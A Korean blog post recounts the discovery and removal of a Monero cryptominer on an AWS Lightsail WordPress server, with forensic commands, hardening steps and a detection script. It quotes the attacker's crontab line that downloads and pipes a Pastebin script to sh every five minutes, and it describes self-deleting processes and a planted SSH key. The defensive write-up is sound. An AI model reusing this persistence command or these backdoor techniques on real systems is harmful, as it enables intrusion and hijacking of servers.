AWS Lightsail 크립토마이너 감염 대응기: 탐지부터 제거까지

"☕" 11 "min read"

서버 CPU가 이유 없이 100%를 찍고 있다면, 누군가 내 서버에서 암호화폐를 채굴하고 있을 수 있습니다. 이 글은 제 AWS Lightsail WordPress 서버에서 실제로 발생한 Monero 크립토마이너 감염 사건의 발견부터 완전 제거까지의 과정을 기록한 대응기입니다.


1. 어느 날 서버가 느려졌다

개인 기술 블로그(WordPress)와 사이드 프로젝트 API 서버를 AWS Lightsail 인스턴스 하나에서 운영하고 있었습니다. Bitnami WordPress 스택(Apache + MariaDB + PHP-FPM) 기반의 Debian 서버였습니다.

2월 27일, 평소와 다르게 서버 응답이 느린 게 체감되었습니다. Lightsail 콘솔에서 CPU와 메모리 사용량을 확인해보니 비정상적으로 높은 상태였습니다.

SSH로 접속해서 top을 확인해보니, load average가 비정상적이었습니다.

top - 08:28:46 up 14 days, 5:02, 1 user, load average: 0.00, 0.49, 1.68
Tasks: 98 total, 1 running, 97 sleeping, 0 stopped, 0 zombie
%Cpu(s): 0.0 usCode language: CSS (css)

확인 시점에는 이미 프로세스가 사라진 뒤였지만, load average의 5분/15분 값(0.49, 1.68)이 1분 값(0.00)보다 훨씬 높았습니다. 직전까지 CPU를 심하게 점유하던 프로세스가 있었다는 뜻입니다.

감염 타임라인

사후 분석을 통해 재구성한 전체 타임라인입니다.

Feb 13        서버 최초 구동
Feb 14~23     정상 개발 작업
Feb 23 16:38  악성코드 내부 실행 추정 (웹 취약점 경유)
Feb 24 13:14  /var/tmp/.bin 생성, 악성 크론탭 등록
Feb 24~27     채굴기 반복 실행 (CPU 199시간 누적 사용)
Feb 27 17:26  증상 발견 → 대응 시작
Feb 27 17:52  전체 클린 상태 확인Code language: JavaScript (javascript)

서버를 구동한 지 불과 10일 만에 감염된 셈입니다. 그리고 발견하기까지 3일이 걸렸습니다.


2. 추적 시작: 뭐가 CPU를 잡아먹고 있는 거야?

2-1. 첫 번째 단서 — 숨김 디렉터리의 위장 바이너리

가장 먼저 의심스러운 프로세스를 찾았습니다.

# 악성 프로세스 탐색
ps aux | grep -E "javae|XIN"Code language: PHP (php)

/tmp/.XIN-unix/javae라는 프로세스가 CPU를 점유하고 있었습니다. 이름을 분석해보면:

  • /tmp/ — 임시 디렉터리, 서버 재시작 시 삭제될 수 있는 위치
  • .XIN-unix/ — 점(.)으로 시작하는 숨김 디렉터리 (ls에 안 잡힘)
  • javae — Java처럼 위장했지만 실제로는 ELF 바이너리
file /tmp/.XIN-unix/javae
# ELF 64-bit LSB shared object, x86-64Code language: PHP (php)

Java가 아니라 네이티브 실행 파일이었습니다. XMRig 계열 Monero 크립토마이너가 Java 프로세스로 위장한 전형적인 패턴입니다.

추가로 ss로 네트워크 연결을 확인하고, 정체불명의 포트 9123이 열려있는 것도 발견했습니다.

sudo ss -tulnp | grep 9123
sudo lsof -i :9123
tcp  LISTEN 0  100  *:9123  *:*  users:(("java",pid=1819018,fd=18))
COMMAND     PID   USER  FD   TYPE   DEVICE SIZE/OFF NODE NAME
java    1819018   root  18u  IPv6 69899861      0t0  TCP *:9123 (LISTEN)Code language: JavaScript (javascript)

이건 알고 보니 Bitnami WordPress 스택에 포함된 Tomcat(stock-api)이었습니다. /tmp/tomcat.9123.* 디렉터리들이 이를 확인해줬습니다. 침해 대응 중에는 정상 프로세스도 의심하게 되는데, 하나하나 확인하는 수밖에 없습니다.

그런데 javae 분석을 시작하자마자 프로세스가 사라졌습니다. 자가 삭제 메커니즘이 동작한 것입니다. 여기서 "프로세스 하나 죽었으니 끝이구나" 하고 넘어갔으면 큰일날 뻔했습니다.

2-2. 두 번째 단서 — 악성 크론탭

프로세스가 저절로 사라졌다면, 누가 다시 살려주는 건지 의심이 들었습니다. 바로 크론탭을 확인했습니다.

crontab -l
*/5 * * * * wget -q https://pastebin.com/raw/7nCDtDwS -O- |sh > /dev/null 2>&1Code language: JavaScript (javascript)

5분마다 Pastebin에서 셸 스크립트를 다운받아 실행하고 있었습니다. 이것이 바로 채굴기를 반복 설치하는 지속성(Persistence) 메커니즘이었습니다.

악성코드가 똑똑한 점은:

  • wget -q — 조용히(quiet) 다운로드
  • -O- |sh — 파일로 저장하지 않고 바로 셸에 파이프
  • > /dev/null 2>&1 — 모든 출력을 숨김

파일이 디스크에 남지 않으니 일반적인 파일 탐색으로는 찾기 어렵습니다.

# root와 www-data 계정의 크론탭도 확인
sudo crontab -l
sudo crontab -u www-data -lCode language: PHP (php)

다행히 다른 계정에는 악성 크론탭이 없었습니다. 즉시 제거했습니다.

# 백업 후 제거
crontab -l > /tmp/crontab_backup.txt
crontab -rCode language: PHP (php)

2-3. 세 번째 단서 — 유령 프로세스

크론탭을 제거했으니 더 이상 재감염은 안 되겠지만, 이미 실행 중인 악성 프로세스가 있을 수 있습니다.

ps auxf  # 트리 형태로 프로세스 확인Code language: PHP (php)
bitnami  368150  4.9  0.2  7060  2200 ?  S  Feb24  199:53  bash mPL6q2
bitnami 1825677  0.0  0.0  5472   896 ?  S  08:37   0:00    \_ sleep 5Code language: CSS (css)

bash mPL6q2라는 프로세스가 CPU 시간 199시간 53분을 누적 사용하고 있었습니다. 2월 24일부터 3일간 쉬지 않고 돌아간 것입니다. 5초마다 sleep하면서 루프를 도는 구조였습니다.

더 파고들어봤습니다.

# 프로세스의 실행 파일과 열린 파일 확인
sudo cat /proc/368150/cmdline | tr '\0' ' '
sudo ls -la /proc/368150/exe
sudo ls -la /proc/368150/fdCode language: PHP (php)
bash mPL6q2
lrwxrwxrwx 1 bitnami bitnami 0 Feb 27 08:40 /proc/368150/exe -> /usr/bin/bash

total 0
dr-x------ 2 bitnami bitnami  0 Feb 27 08:37 .
dr-xr-xr-x 9 bitnami bitnami  0 Feb 26 08:59 ..
lr-x------ 1 bitnami bitnami 64 Feb 27 08:37 0 -> /dev/null
l-wx------ 1 bitnami bitnami 64 Feb 27 08:37 1 -> /dev/null
l-wx------ 1 bitnami bitnami 64 Feb 27 08:37 2 -> /dev/null
lr-x------ 1 bitnami bitnami 64 Feb 27 08:37 255 -> '/tmp/mPL6q2 (deleted)'Code language: JavaScript (javascript)

핵심 증거입니다. stdin/stdout/stderr를 모두 /dev/null로 리다이렉트해서 흔적을 남기지 않고, 파일 디스크립터 255가 가리키는 원본 파일은 (deleted) 상태입니다. 실행 후 자기 자신을 디스크에서 삭제하는 기법입니다. 프로세스는 메모리에서 계속 돌아가지만, 파일 시스템에서는 흔적이 사라집니다. findls로는 절대 찾을 수 없습니다.

# 환경변수 확인
sudo cat /proc/368150/environ | tr '\0' '\n'Code language: PHP (php)
SSH_CLIENT=x.x.x.x 49457 22
PWD=/tmp
npm_package_name=stock-web-front
INIT_CWD=/data/stock-web-front
...

환경변수에서 흥미로운 사실이 드러났습니다. SSH_CLIENT에 제 IP가 찍혀 있고, PWD=/tmp에서 실행되었으며, 제 Next.js 프로젝트(stock-web-front)의 npm 환경변수를 그대로 상속받고 있었습니다. 공격자가 직접 SSH로 접속한 게 아니라, 제가 SSH로 접속해 있는 동안 웹 취약점 등을 통해 서버 내부에서 실행된 것으로 판단했습니다.

kill -9 368150

2-4. 네 번째 단서 — ELF 페이로드

/tmp 디렉터리를 더 조사했습니다.

find /tmp /var/tmp /dev/shm -type f -executable 2>/dev/nullCode language: JavaScript (javascript)

매시 :26분에 생성되는 /tmp/tcl* 패턴의 ELF 실행 파일들이 발견되었습니다.

file /tmp/tclm0yI4L
file /tmp/tcl8yzolZ
/tmp/tclm0yI4L: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, ... not stripped
/tmp/tcl8yzolZ: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, missing section headers at 2753872
strings /tmp/tclm0yI4L | head -30
strncpy
strlen
strcmp
Tls_Init
socket
connect
bind
listen
accept
gethostbyname
getaddrinfo
getsockopt
setsockopt
getsockname
setcontext
_longjmp

socket, connect, bind, listen, accept — 전형적인 네트워크 백도어 함수들입니다. 특히 setcontext_longjmp는 실행 흐름 조작에 사용되는 함수로, 단순 채굴기가 아니라 원격 제어를 위한 백도어 에이전트임을 시사합니다. 그리고 tcl8yzolZ는 섹션 헤더가 깨진 상태인데, 이는 분석 방해를 위한 의도적 손상일 가능성이 높습니다.

또한 /tmp에서 감염 체크인 마커 파일도 발견했습니다.

cat /tmp/3ecee3ea09
6c87eec717a7890dc7a1

해시 형태의 문자열만 들어있는 파일로, 공격자 인프라가 이 서버의 감염 상태를 추적하는 용도로 추정됩니다.

확인된 파일들을 모두 삭제했습니다.

sudo rm -f /tmp/tcl*
sudo rm -f /var/tmp/.bin
sudo rm -f /tmp/3ecee3ea09 /tmp/9408a180d1Code language: JavaScript (javascript)

2-5. 다섯 번째 단서 — 가장 위험한 발견

여기까지 찾았으면 충분하다고 생각할 수 있습니다. 하지만 침해사고 대응에서 가장 중요한 원칙은 "모든 지속성 메커니즘을 찾을 때까지 끝이 아니다"입니다.

SSH 접근 권한을 확인했습니다.

cat ~/.ssh/authorized_keysCode language: JavaScript (javascript)
ssh-rsa AAAAB3Nza...1cEx LightsailDefaultKeyPair
ssh-rsa AAAAB3Nza...Q9 beaj
no-port-forwarding,no-agent-forwarding,... ssh-rsa AAAAB3Nza...1cEx LightsailDefaultKeyPairCode language: CSS (css)

Lightsail 기본 키(LightsailDefaultKeyPair) 외에 beaj라는 이름의 낯선 SSH 공개키가 등록되어 있었습니다.

이것이 가장 위험한 발견이었습니다. 크론탭을 지우고, 프로세스를 죽이고, ELF 파일을 삭제해도 이 SSH 키 하나만 남아있으면 공격자는 언제든 패스워드 없이 서버에 다시 들어올 수 있습니다.

# 백업 후 백도어 키 제거
cp ~/.ssh/authorized_keys ~/.ssh/authorized_keys.bak
sed -i '/beaj/d' ~/.ssh/authorized_keys

# 제거 확인
cat ~/.ssh/authorized_keysCode language: PHP (php)

3. 악성코드의 구조: 단일 요소가 아니라 “체계”

발견된 요소들을 정리하면, 이 악성코드는 단순한 프로세스 하나가 아니라 체계적인 시스템으로 동작하고 있었습니다.

[지속성 계층]
├── 크론탭 (*/5분) ──→ Pastebin에서 스크립트 다운로드
├── mPL6q2 (자가삭제) ──→ 5초 루프로 채굴기 관리
├── SSH 백도어 키 ──→ 재접근 보장
│
[실행 계층]
├── /tmp/.XIN-unix/javae ──→ XMRig 채굴기 (Java 위장)
├── /tmp/tcl* ELF ──→ 네트워크 백도어 페이로드
│
[은닉 기법]
├── 숨김 디렉터리 (.XIN-unix)
├── 프로세스명 위장 (javae)
├── 자가 삭제 (/tmp/mPL6q2 deleted)
└── 출력 억제 (> /dev/null 2>&1)Code language: PHP (php)

하나를 지워도 다른 경로로 재감염되는 구조입니다. 전체를 파악하고 한꺼번에 제거해야 합니다.


4. 재발 방지: 방어선 구축

악성 요소를 제거한 뒤, 같은 일이 반복되지 않도록 방어 조치를 적용했습니다.

4-1. 의심 IP 차단 (iptables)

Apache 로그에서 확인된 공격 시도 IP들을 차단했습니다.

# Apache 로그에서 확인된 공격 패턴들
# POST /?gf_page=upload — 파일 업로드 취약점 공격
# POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php — 원격 코드 실행 시도
# POST /xmlrpc.php — WordPress XML-RPC 무차별 대입 공격Code language: PHP (php)
# 의심 IP 차단
sudo iptables -A INPUT -s xxx.xxx.xxx.xxx -j DROP

# 재부팅 후에도 규칙 유지
sudo apt-get install iptables-persistent -y
sudo netfilter-persistent saveCode language: CSS (css)

4-2. xmlrpc.php 차단

WordPress의 xmlrpc.php는 원격 포스팅에 사용되지만, 무차별 대입 공격의 주요 대상입니다. 사용하지 않는다면 차단하는 것이 좋습니다.

# .htaccess에 추가
<Files xmlrpc.php>
    Require all denied
</Files>Code language: HTML, XML (xml)

4-3. Fail2ban 설정

반복적인 로그인 실패를 자동 차단하기 위해 Fail2ban을 설정했습니다.

sudo apt-get install fail2ban -yCode language: JavaScript (javascript)

WordPress 전용 필터를 생성합니다.

# /etc/fail2ban/filter.d/wordpress.conf
[Definition]
failregex = ^<HOST> .* "POST /wp-login.php
            ^<HOST> .* "POST /xmlrpc.php
ignoreregex =Code language: HTML, XML (xml)
# /etc/fail2ban/jail.localCode language: PHP (php)

[wordpress]

enabled = true filter = wordpress logpath = /opt/bitnami/apache/logs/access_log maxretry = 5 findtime = 300 bantime = 3600

sudo systemctl enable fail2ban
sudo systemctl restart fail2ban

4-4. Lightsail 방화벽 SSH 접근 제한

이 한 가지만으로도 SSH 기반 공격 대부분을 원천 차단할 수 있습니다.

Lightsail 콘솔 → 네트워킹 → IPv4 방화벽에서:

  • SSH(22)를 본인 IP만 허용으로 변경
  • 불필요한 포트(3000, 9123 등) 외부 노출 제거
IPv4 방화벽 규칙:
  SSH (22)     → 본인 고정 IP만 허용 (예: x.x.x.x/32)
  HTTP (80)    → 모든 IP 허용
  HTTPS (443)  → 모든 IP 허용
  Custom (3000) → 삭제 (Apache 프록시를 통해서만 접근)
  Custom (9123) → 삭제 (내부 Tomcat, 외부 노출 불필요)

이 설정 하나만으로도 SSH 기반 무차별 대입 공격을 물리적으로 차단할 수 있습니다. iptables는 서버 내부 규칙이라 서버가 침해되면 우회될 수 있지만, Lightsail 방화벽은 AWS 네트워크 레벨에서 필터링합니다.

4-5. 보안 점검 자동화 스크립트

주기적으로 재감염 여부를 확인하는 스크립트를 작성했습니다.

#!/bin/bash
# security-check.sh — 주기적 보안 점검 스크립트
echo "====== $(date) 보안 점검 ======"

echo -e "\n[1] 악성 프로세스"
MALICIOUS=$(ps aux | grep -E "tcl|mPL|javae|XIN|xmrig|minerd" | grep -v grep)
[ -n "$MALICIOUS" ] && echo "발견: $MALICIOUS" || echo "이상 없음"

echo -e "\n[2] /tmp 실행 파일"
ELF=$(find /tmp /var/tmp /dev/shm -type f -executable 2>/dev/null)
[ -n "$ELF" ] && echo "발견: $ELF" || echo "이상 없음"

echo -e "\n[3] 악성 크론탭"
CRON=$(grep -rE "wget|curl|pastebin" /var/spool/cron/ 2>/dev/null)
[ -n "$CRON" ] && echo "발견: $CRON" || echo "이상 없음"

echo -e "\n[4] authorized_keys"
KEY_COUNT=$(wc -l < ~/.ssh/authorized_keys)
echo "등록된 키 수: $KEY_COUNT (정상: 1)"
[ "$KEY_COUNT" -gt 1 ] && echo "키 추가 확인 필요!" || echo "이상 없음"

echo -e "\n[5] uploads PHP 파일 (웹쉘 의심)"
SHELL=$(find /opt/bitnami/wordpress/wp-content/uploads -name "*.php" 2>/dev/null)
[ -n "$SHELL" ] && echo "웹쉘 의심: $SHELL" || echo "이상 없음"

echo -e "\n[6] CPU 상위 프로세스"
ps aux --sort=-%cpu | awk 'NR<=4{print $1, $3"%", $11}'

echo "=============================="Code language: PHP (php)
# 매일 오전 9시 실행
chmod +x ~/security-check.sh
echo "0 9 * * * ~/security-check.sh >> ~/security-check.log 2>&1" | crontab -Code language: PHP (php)

5. 결과 확인

모든 조치 적용 후 클린 상태를 확인했습니다.

ps aux | grep -E "tcl|mPL|javae|XIN" | grep -v grep
ls /tmp/tcl* /var/tmp/.bin 2>/dev/null && echo "재감염" || echo "클린"
crontab -l 2>/dev/null && echo "위 내용 확인" || echo "크론탭 없음"Code language: PHP (php)
✅ 클린
✅ 크론탭 없음
항목대응 전대응 후
악성 프로세스CPU 199시간 누적 사용0 (클린)
크론탭5분마다 Pastebin 스크립트 실행정상 (보안 점검 스크립트만 등록)
SSH 키백도어 키 1개 포함Lightsail 기본 키만 존재
/tmp 실행 파일ELF 바이너리 다수0개
방화벽 SSH전체 IP 허용본인 IP만 허용
Fail2ban미설치활성 (WordPress 필터 포함)
xmlrpc.php외부 접근 가능차단 완료

보안 점검 스크립트를 배치해두고 며칠간 모니터링한 결과, 재감염은 발생하지 않았습니다.


6. 추가로 알아두면 좋은 점 [💡 보완]

감염 서버는 근본적으로 신뢰할 수 없다

이번에는 악성 요소를 수작업으로 제거했지만, 보안 관점에서 감염된 서버는 완전히 신뢰하기 어렵습니다. 발견하지 못한 백도어가 커널 레벨이나 부트로더에 존재할 수 있기 때문입니다.

가장 확실한 방법은:

  1. 감염 전 시점의 스냅샷으로 복구
  2. 또는 새 인스턴스를 생성하고 데이터만 마이그레이션

운영 환경이라면 수작업 제거보다 스냅샷 복구 또는 서버 재구축을 권장합니다.

침해 경로 추정

이번 케이스에서 공격자는 SSH로 직접 접속한 것이 아니라, 웹 취약점을 통해 서버 내부에서 코드를 실행한 것으로 보입니다. SSH 인증 로그를 확인한 결과, 감염 기간 동안 제 키 지문(LightsailDefaultKeyPair) 외에 다른 SSH 접속 기록이 없었습니다.

sudo journalctl -u ssh --since "2026-02-13" --until "2026-02-24" | grep "Accepted"Code language: JavaScript (javascript)
Feb 14 05:49:35 ... Accepted publickey for bitnami from x.x.x.x ... SHA256:vBKeU...
Feb 19 08:07:46 ... Accepted publickey for bitnami from x.x.x.x ... SHA256:vBKeU...
Feb 23 16:38:52 ... Accepted publickey for bitnami from x.x.x.x ... SHA256:vBKeU...Code language: CSS (css)

모두 제 IP와 Lightsail 기본 키 지문입니다. 공격자의 SSH 접속 기록은 없었습니다.

반면 Apache 로그에서는 체계적인 취약점 스캐닝 흔적이 확인됐습니다.

20.64.169.232  - [22/Feb] "POST /?gf_page=upload HTTP/1.1" 421
134.199.148.125 - [22/Feb] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404
20.64.169.232  - [23/Feb] "POST /wp-content/plugins/sexy-contact-form/includes/fileupload/index.php HTTP/1.1" 421
20.64.169.232  - [24/Feb] "POST /wp-admin/admin-ajax.php?action=uploadFontIcon HTTP/1.1" 421
20.64.169.232  - [25/Feb] "POST /wp-admin/admin-ajax.php?action=_ning_upload_image HTTP/1.1" 421Code language: JavaScript (javascript)

그리고 XML-RPC에 대한 무차별 대입 공격도 여러 IP에서 지속적으로 시도되고 있었습니다.

34.72.175.99   - [22/Feb] "POST //xmlrpc.php HTTP/1.1" 403
102.209.0.94   - [22/Feb] "POST /xmlrpc.php HTTP/1.1" 403
194.26.192.57  - [23/Feb] "POST //xmlrpc.php HTTP/1.1" 403
197.211.59.61  - [24/Feb] "POST /xmlrpc.php HTTP/1.1" 403
...Code language: JavaScript (javascript)

다행히 xmlrpc.php 요청은 403으로 차단되었지만, 파일 업로드 취약점 스캐닝(20.64.169.232)은 421 응답이었습니다. 이 중 하나가 실제 침투에 성공했거나, 로그에 기록되지 않은 다른 경로가 있었을 수 있습니다.

WordPress와 플러그인을 항상 최신 버전으로 유지하고, 사용하지 않는 플러그인은 비활성화가 아닌 삭제하는 것이 중요합니다.

rkhunter / ClamAV 활용

수작업 분석 외에 자동화된 도구도 활용할 수 있습니다.

# 루트킷 탐지
sudo apt-get install rkhunter -y
sudo rkhunter --check

# 바이러스 스캔
sudo apt-get install clamav -y
sudo freshclam
sudo clamscan -r /tmp /var/tmp /dev/shmCode language: PHP (php)

네트워크 레벨 모니터링

채굴기는 반드시 외부 마이닝 풀에 연결해야 합니다. 아웃바운드 네트워크 연결을 모니터링하면 조기 탐지가 가능합니다.

# 의심스러운 아웃바운드 연결 확인
ss -tulnp | grep -v -E ":(80|443|22|3306)\s"Code language: PHP (php)

7. 마무리

핵심 정리

  1. 악성코드는 "체계"로 작동한다. 크론탭, 프로세스, SSH 키, 페이로드가 각각의 역할을 맡아 서로를 보완합니다. 하나만 지우면 다른 경로로 재감염됩니다.
  2. 지속성 메커니즘을 전부 찾아야 한다. 특히 authorized_keys의 백도어 SSH 키가 가장 위험합니다. 다른 걸 다 지워도 이것만 남으면 공격자가 다시 들어옵니다.
  3. SSH 접근을 IP로 제한하는 것만으로도 효과가 크다. Lightsail 방화벽에서 SSH를 본인 IP만 허용하면 대부분의 SSH 기반 공격을 원천 차단할 수 있습니다.

침해사고 대응은 "삭제"가 끝이 아니라 "이해"에서 시작됩니다. 공격자가 무엇을 했는지, 어떤 경로로 들어왔는지, 어떤 장치를 남겼는지를 전부 파악해야 진짜 대응이 됩니다.

Y

yshyuk

Java 백엔드 개발자 | Spring, AWS, DevOps
2020년부터 Java/Spring boot 서버 개발자로 일하면서, 인프라(AWS/NCP), DevOps 업무를 병행하였고, 현재는 OpenSource 기여에도 관심을 가지고 있습니다.

조회수: 0